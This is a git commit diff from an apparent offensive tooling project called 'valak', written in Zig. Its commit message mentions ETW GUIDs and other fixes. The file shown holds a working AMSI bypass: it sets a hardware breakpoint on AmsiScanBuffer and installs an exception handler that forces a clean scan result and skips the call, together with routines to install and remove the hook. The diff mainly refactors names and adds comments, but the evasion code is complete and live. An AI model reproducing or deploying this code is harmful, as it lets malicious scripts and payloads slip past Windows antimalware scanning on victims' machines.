valak: asm arg1 fix, NT_SUCCESS i32, byte scan off-by-one, etw guids

This commit is contained in:
2026-07-18 09:30:00 +01:00
committed by JYenn
parent cc60a24d98
commit a1f467199f
17 changed files with 552 additions and 910 deletions
+19 -15
View File
@@ -1,23 +1,27 @@
// AMSI bypass via hardware breakpoint on AmsiScanBuffer. DR0 breakpoint, VEH handler
// sets RAX=0 and skips the call. No bytes modified in amsi.dll.
const std = @import("std");
const win = @import("win32.zig");
const windows = std.os.windows;
const nt = @import("nt.zig");
const api = @import("api.zig");
var g_veh_handle: ?*anyopaque = null;
var g_amsi_scan_addr: ?*anyopaque = null;
fn amsi_veh_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
fn amsi_veh_handler(ex: *nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG {
if (ex.ExceptionRecord.ExceptionCode == nt.EXCEPTION_SINGLE_STEP and
ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr)
{
ex.ContextRecord.Rax = 0;
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
ex.ContextRecord.Rip = ret_addr;
ex.ContextRecord.Rsp += 8;
return win.EXCEPTION_CONTINUE_EXECUTION;
ex.ContextRecord.Rax = 0; // AMSI_RESULT_CLEAN
const ret_addr = @as(*const usize, @ptrCast(@alignCast(@as(
*const anyopaque,
@ptrFromInt(ex.ContextRecord.Rsp),
)))).*;
ex.ContextRecord.Rip = ret_addr; // jump to caller's return address
ex.ContextRecord.Rsp += 8; // pop return address off stack
return nt.EXCEPTION_CONTINUE_EXECUTION;
}
return win.EXCEPTION_CONTINUE_SEARCH;
return nt.EXCEPTION_CONTINUE_SEARCH;
}
pub fn patch_amsi() void {
@@ -36,16 +40,16 @@ pub fn patch_amsi() void {
if (g_amsi_scan_addr == null) return;
g_veh_handle = veh(1, amsi_veh_handler);
const thread = cur_thread();
var ctx = std.mem.zeroes(win.CONTEXT);
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
var ctx = std.mem.zeroes(nt.CONTEXT);
ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS;
ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?);
ctx.Dr7 = (1 << 0);
ctx.Dr7 = (1 << 0); // enable local breakpoint 0
_ = suspend_thread(thread);
_ = set_ctx(thread, &ctx);
_ = resume_thread(thread);
}
// Undo AMSI bypass, remove VEH handler and clear DR0/DR7.
// Remove VEH handler, clear DR0 and DR7.
pub fn unpatch_amsi() void {
if (g_veh_handle) |h| {
if (api.amsi_remove_vectored_exception_handler) |remove| {
@@ -59,8 +63,8 @@ pub fn unpatch_amsi() void {
if (api.amsi_suspend_thread) |suspend_t| {
if (api.amsi_resume_thread) |resume_t| {
const thread = cur_thread();
var ctx = std.mem.zeroes(win.CONTEXT);
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
var ctx = std.mem.zeroes(nt.CONTEXT);
ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS;
ctx.Dr0 = 0;
ctx.Dr7 = 0;
_ = suspend_t(thread);